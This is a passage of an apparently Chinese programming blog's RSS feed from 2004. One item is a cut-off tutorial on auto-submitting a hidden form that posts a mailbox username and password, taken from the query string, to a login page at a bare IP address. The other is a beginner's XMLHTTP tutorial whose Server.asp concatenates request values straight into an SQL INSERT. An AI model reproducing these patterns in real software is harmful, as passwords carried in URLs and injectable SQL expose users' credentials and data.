/&gt;//--＞ &lt;/p &gt;&lt;p &gt;＜/SCRIPT＞ ＜body leftMargin="0" topMargin="0" onload="javascript:gook()" marginwidth="0" marginheight="0"＞ &lt;br /&gt;＜form name="frm" action=" &lt;a href="http://220.194.55.68:6080/login.php?retid=7259" &gt;http://220.194.55.68:6080/login.php?retid=7259&lt;/a &gt; " method="post"＞ &lt;br /&gt;＜tr＞ &lt;br /&gt;＜td＞&lt;br /&gt;＜input id="f_user" type="hidden" size="1" name="f_user" runat="server"＞&lt;br /&gt;＜input id="f_domain" type="hidden" size="1" name="f_domain" runat="server"＞&lt;br /&gt;＜input class="box" id="f_pass" type="hidden" size="1" name="pwshow" runat="server"＞ &lt;/p &gt;&lt;p &gt;＜INPUT id="lng" type="hidden" maxLength="20" size="1" value="5" name="lng"＞&lt;br /&gt;＜INPUT id="tem" type="hidden" size="1" value="2" name="tem"＞ &lt;/p &gt;&lt;p &gt;＜/td＞ &lt;/p &gt;&lt;p &gt;＜/tr＞ &lt;/p &gt;&lt;p &gt;＜/form＞ &lt;br /&gt;　　文本框的名称必须是你要登陆的网页上的名称，如果源码不行可以用vsniffer 看看。 &lt;/p &gt;&lt;p &gt;　　下面是获取用户输入的登陆信息的代码： &lt;/p &gt;&lt;p &gt;string name; &lt;br /&gt;name=Request.QueryString["EmailName"]; &lt;/p &gt;&lt;p &gt;try &lt;br /&gt;{ &lt;br /&gt;　int a=name.IndexOf("@",0,name.Length); &lt;br /&gt;　f_user.Value=name.Substring(0,a); &lt;br /&gt;　f_domain.Value=name.Substring(a+1,name.Length-(a+1)); &lt;br /&gt;　f_pass.Value=Request.QueryString["Psw"]; &lt;br /&gt;} &lt;/p &gt;&lt;p &gt;catch &lt;br /&gt;{ &lt;br /&gt;　Script.Alert("错误的邮箱!"); &lt;br /&gt;　Server.Transfer("index.aspx"); &lt;br /&gt;}&lt;br /&gt;&lt;/p &gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=5</guid><pubDate>Wed, 11 Aug 2004 11:44:00 GMT</pubDate></item><item><title>[AJAX]利用XMLHTTP无刷新添加数据[适合初学者]</title><link>http://www.chendw.cn:8080/view.aspx?id=4</link><description>&lt;div id="blog_text" class="cnt"&gt;我们传统的提交数据的方法都是用&amp;lt;Form&amp;gt;来实现的.&amp;lt;Form&amp;gt;标记中的Method属性确定了表单元素的数据在发送到服务器时,如何对HTTP请求信息进行打包.&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;strong&gt;Method&lt;/strong&gt; 属性可以使用的方法&lt;br&gt;&lt;br&gt;&lt;strong&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  Method属性发送表单元素的方式读取数据的Request集合&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  Get 标识在URL的最后QueryString&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  Post 在HTTP请求的主体内(HTTP请求的自由区域) Form&lt;/strong&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  这篇文章用XMLHTTP来实现Form的Method=Get.&lt;br&gt;&lt;br&gt;&lt;font face="Verdana"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  ClientGet.htm&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;font color="#000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;script language=&amp;quot;JavaScript&amp;quot;&amp;gt;&lt;div class="code"&gt;&lt;table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; border-bottom: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;    &lt;tbody&gt;        &lt;tr&gt;            &lt;td style="word-wrap: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="font-weight: bold; color: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;            function AddDataGet(sUserId,sUserName) &lt;br&gt;            { &lt;br&gt;            /* &lt;br&gt;            *--------------- AddDataGet(sUserId,sUserName) ----------------- &lt;br&gt;            * AddDataGet(sUserId,sUserName)  &lt;br&gt;            * 功能:通过XMLHTTP添加数据.相当于Form的Method=Get. &lt;br&gt;            * 参数:sUserId,字符串,发送条件. &lt;br&gt;            * 参数:sUserName,字符串,发送条件. &lt;br&gt;            * 实例:AddDataGet(document.all.userid.value,document.all.username.value); &lt;br&gt;            * author:wanghr100(aaa.net)  &lt;br&gt;            &lt;br&gt;            * update:2004-5-30 14:46 &lt;br&gt;            *--------------- AddDataGet(sUserId,sUserName) ----------------- &lt;br&gt;            */ &lt;br&gt;            var oBao = new ActiveXObject(&amp;quot;Microsoft.XMLHTTP&amp;quot;); &lt;br&gt;            //特殊字符：+,%,&amp;amp;,=,?等的传输解决办法.用escape编码. &lt;br&gt;            //Update:2004-6-1 12:22 &lt;br&gt;            //escape(sUserId),escape(sUserName); &lt;br&gt;            oBao.open(&amp;quot;POST&amp;quot;,&amp;quot;Server.asp?userid=&amp;quot;+escape(sUserId)+&amp;quot;&amp;amp;username=&amp;quot;+escape(sUserName),false); &lt;br&gt;            oBao.send(); &lt;br&gt;            //清空输入框数据. &lt;br&gt;            document.all.userid.value=&amp;quot;&amp;quot;; &lt;br&gt;            document.all.username.value=&amp;quot;&amp;quot;; &lt;br&gt;            //服务器端处理返回的是经过escape编码的字符串. &lt;br&gt;            alert(unescape(oBao.responseText)) &lt;br&gt;            } &lt;br&gt;            &amp;lt;/script&amp;gt; &lt;br&gt;            &amp;lt;input type=&amp;quot;button&amp;quot; onclick=&amp;quot;AddDataGet(document.all.userid.value,document.all.username.value)&amp;quot; value=&amp;quot;AddDataGet&amp;quot;&amp;gt;&amp;lt;br&amp;gt; &lt;br&gt;            userid:&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;userid&amp;quot;&amp;gt;&amp;lt;br&amp;gt; &lt;br&gt;            username:&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;username&amp;quot;&amp;gt;&lt;/td&gt;        &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;font face="Verdana"&gt;&lt;table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; border-bottom: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;    &lt;tbody&gt;        &lt;tr&gt;            &lt;td style="word-wrap: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="font-weight: bold; color: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;            &amp;lt;% @Language=&amp;quot;JavaScript&amp;quot; %&amp;gt; &lt;br&gt;            &amp;lt;% &lt;br&gt;            function OpenDB(sdbname) &lt;br&gt;            { &lt;br&gt;            /* &lt;br&gt;            *--------------- OpenDB(sdbname) ----------------- &lt;br&gt;            * OpenDB(sdbname)  &lt;br&gt;            * 功能:打开数据库sdbname,返回conn对象. &lt;br&gt;            * 参数:sdbname,字符串,数据库名称. &lt;br&gt;            * 实例:var conn = OpenDB(&amp;quot;database.mdb&amp;quot;); &lt;br&gt;            * author:wanghr100(bbb.net) &lt;br&gt;            * update:2004-5-12 8:18 &lt;br&gt;            *--------------- OpenDB(sdbname) ----------------- &lt;br&gt;            */ &lt;br&gt;            var connstr = &amp;quot;Provider=Microsoft.Jet.OLEDB.4.0; Data Source=&amp;quot;+Server.MapPath(sdbname); &lt;br&gt;            var conn = Server.CreateObject(&amp;quot;ADODB.Connection&amp;quot;); &lt;br&gt;            conn.Open(connstr); &lt;br&gt;            return conn; &lt;br&gt;            } &lt;br&gt;            var sResult = &amp;quot;&amp;quot;; &lt;br&gt;            var oConn = OpenDB(&amp;quot;data.mdb&amp;quot;); &lt;br&gt;            //相当于Form的Method=Get. &lt;br&gt;            //相当于Form的Method=Get. &lt;br&gt;            //特殊字符：+,%,&amp;amp;,=,?等的传输解决办法.客户端传输过来是经过escape编码的. &lt;br&gt;            //所以服用器端应该先用unescape解码.  &lt;br&gt;            //Update:2004-6-1 12:22 &lt;br&gt;            //unescape(Request.QueryString(&amp;quot;userid&amp;quot;))..... &lt;br&gt;            var userid = unescape(Request.QueryString(&amp;quot;userid&amp;quot;)); &lt;br&gt;            var username = unescape(Request.QueryString(&amp;quot;username&amp;quot;)); &lt;br&gt;            sResult = &amp;quot;userid:&amp;quot;+userid+&amp;quot;\nusername:&amp;quot;+username+&amp;quot;\n 添加成功.&amp;quot; &lt;br&gt;            var sql = &amp;quot;Insert into users(userid,username)Values('&amp;quot;+userid+&amp;quot;','&amp;quot;+username+&amp;quot;')&amp;quot;; &lt;br&gt;            oConn.Execute(sql); &lt;br&gt;            Response.Write(escape(sResult)); &lt;br&gt;            %&amp;gt;&lt;/td&gt;        &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Verdana"&gt;&lt;strong&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/strong&gt;&lt;font face="Verdana"&gt;&lt;strong&gt;ClientPost.htm&lt;br&gt;&lt;br&gt;&lt;table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; border-bottom: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;    &lt;tbody&gt;        &lt;tr&gt;            &lt;td style="word-wrap: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="font-weight: bold; color: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;            &amp;lt;script language=&amp;quot;JavaScript&amp;quot;&amp;gt; &lt;br&gt;            function AddDataPost(sUserId,sUserName) &lt;br&gt;            { &lt;br&gt;            /* &lt;br&gt;            *--------------- AddDataPost(sUserId,sUserName) ----------------- &lt;br&gt;            * AddDataPost(sUserId,sUserName)  &lt;br&gt;            * 功能:通过XMLHTTP添加数据.相当于Form的Method=Post. &lt;br&gt;            * 参数:sUserId,字符串,发送条件. &lt;br&gt;            * 参数:sUserName,字符串,发送条件. &lt;br&gt;            * 实例:AddDataPost(document.all.userid.value,document.all.username.value); &lt;br&gt;            * author:wanghr100(bbb.net) &lt;br&gt;            * update:2004-5-30 14:46 &lt;br&gt;            *--------------- AddDataPost(sUserId,sUserName) ----------------- &lt;br&gt;            */ &lt;br&gt;            var oBao = new ActiveXObject(&amp;quot;Microsoft.XMLHTTP&amp;quot;); &lt;br&gt;            //特殊字符：+,%,&amp;amp;,=,?等的传输解决办法. &lt;br&gt;            //Update:2004-6-1 12:22 &lt;br&gt;            //escape(sUserId),escape(sUserName); &lt;br&gt;            sUserId = escape(sUserId); &lt;br&gt;            sUserName = escape(sUserName); &lt;br&gt;            var userInfo = &amp;quot;userid=&amp;quot;+sUserId+&amp;quot;&amp;amp;username=&amp;quot;+sUserName;  &lt;br&gt;            oBao.open(&amp;quot;POST&amp;quot;,&amp;quot;Server.asp&amp;quot;,false); &lt;br&gt;            oBao.setRequestHeader(&amp;quot;Content-Type&amp;quot;,&amp;quot;application/x-www-form-urlencoded&amp;quot;) &lt;br&gt;            oBao.send(userInfo); &lt;br&gt;            //清空输入框数据. &lt;br&gt;            document.all.userid.value=&amp;quot;&amp;quot;; &lt;br&gt;            document.all.username.value=&amp;quot;&amp;quot;; &lt;br&gt;            //服务器端处理返回的是经过escape编码的字符串. &lt;br&gt;            alert(unescape(oBao.responseText)) &lt;br&gt;            } &lt;br&gt;            &amp;lt;/script&amp;gt; &lt;br&gt;            &amp;lt;input type=&amp;quot;button&amp;quot; onclick=&amp;quot;AddDataPost(document.all.userid.value,document.all.username.value)&amp;quot; value=&amp;quot;AddDataPost&amp;quot;&amp;gt;&amp;lt;br&amp;gt; &lt;br&gt;            userid:&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;userid&amp;quot;&amp;gt;&amp;lt;br&amp;gt; &lt;br&gt;            username:&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;username&amp;quot;&amp;gt;&lt;/td&gt;        &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt;&lt;/strong&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;br&gt;&lt;font face="Verdana"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;strong&gt;Server.asp 服务器端处理.&lt;br&gt;&lt;br&gt;&lt;/strong&gt;&lt;div class="code"&gt;&lt;table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; border-bottom: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;    &lt;tbody&gt;        &lt;tr&gt;            &lt;td style="word-wrap: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="font-weight: bold; color: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;            &amp;lt;% @Language=&amp;quot;JavaScript&amp;quot; %&amp;gt; &lt;br&gt;            &amp;lt;% &lt;br&gt;            function OpenDB(sdbname) &lt;br&gt;            { &lt;br&gt;            /* &lt;br&gt;            *--------------- OpenDB(sdbname) ----------------- &lt;br&gt;            * OpenDB(sdbname)  &lt;br&gt;            * 功能:打开数据库sdbname,返回conn对象. &lt;br&gt;            * 参数:sdbname,字符串,数据库名称. &lt;br&gt;            * 实例:var conn = OpenDB(&amp;quot;database.mdb&amp;quot;); &lt;br&gt;            * author:wanghr100(bbb.net) &lt;br&gt;            * update:2004-5-12 8:18 &lt;br&gt;            *--------------- OpenDB(sdbname) ----------------- &lt;br&gt;            */ &lt;br&gt;            var connstr = &amp;quot;Provider=Microsoft.Jet.OLEDB.4.0; Data Source=&amp;quot;+Server.MapPath(sdbname); &lt;br&gt;            var conn = Server.CreateObject(&amp;quot;ADODB.Connection&amp;quot;); &lt;br&gt;            conn.Open(connstr); &lt;br&gt;            return conn; &lt;br&gt;            } &lt;br&gt;            var sResult = &amp;quot;&amp;quot;; &lt;br&gt;            var oConn = OpenDB(&amp;quot;data.mdb&amp;quot;); &lt;br&gt;            //相当于Form的Method=Post. &lt;br&gt;            //相当于Form的Method=Post. &lt;br&gt;            //特殊字符：+,%,&amp;amp;,=,?等的传输解决办法.客户端传输过来是经过escape编码的. &lt;br&gt;            //所以服用器端应该先unescape解码. &lt;br&gt;            //Update:2004-6-1 12:22 &lt;br&gt;            //unescape(Request.Form(&amp;quot;userid&amp;quot;))..... &lt;br&gt;            var userid = unescape(Request.Form(&amp;quot;userid&amp;quot;)); &lt;br&gt;            var username = unescape(Request.Form(&amp;quot;username&amp;quot;)); &lt;br&gt;            sResult = &amp;quot;userid:&amp;quot;+userid+&amp;quot;\nusername:&amp;quot;+username+&amp;quot;\n 添加成功.&amp;quot;  &lt;br&gt;            var sql = &amp;quot;Insert into users(userid,username)Values('&amp;quot;+userid+&amp;quot;','&amp;quot;+username+&amp;quot;')&amp;quot;; &lt;br&gt;            oConn.Execute(sql); &lt;br&gt;            Response.Write(escape(sResult)); &lt;br&gt;            %&amp;gt;&lt;/td&gt;        &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/font&gt;&lt;br&gt;&lt;p&gt;&lt;font face="Verdana"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;strong&gt;数据库设计&lt;br&gt;&lt;/strong&gt;&lt;br&gt;&lt;font face="Verdana"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/font&gt;data.mdb&lt;br&gt;&lt;br&gt;&lt;font face="Verdana"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/font&gt;表users.&lt;br&gt;&lt;br&gt;&lt;font face="Verdana"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/font&gt;字段&lt;br&gt;&lt;br&gt;&lt;font face="Verdana"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/font&gt;id 自动编号&lt;br&gt;&lt;/font&gt;&lt;font face="Verdana"&gt;&lt;br&gt;&lt;font face="Verdana"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/font&gt;userid 文本&lt;br&gt;&lt;br&gt;&lt;font face="Verdana"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/font&gt;username 文本&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Verdana"&gt;&lt;font face="Verdana"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/font&gt;&lt;strong&gt;表:users 数据:&lt;/strong&gt; &lt;br&gt;&lt;br&gt;&lt;font face="Verdana"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/font&gt;id userid username&lt;br&gt;&lt;br&gt;&lt;font face="Verdana"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/font&gt;1 wanghr100 bbb.net&lt;/font&gt;&lt;/p&gt;&lt;/font&gt;&lt;font face="Verdana"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;strong&gt;Server.asp 服务器端处理.&lt;/strong&gt;&lt;/font&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=4</guid><pubDate>Sun, 30 May 2004 06:46:00 GMT</pubDate></item></channel></rss>
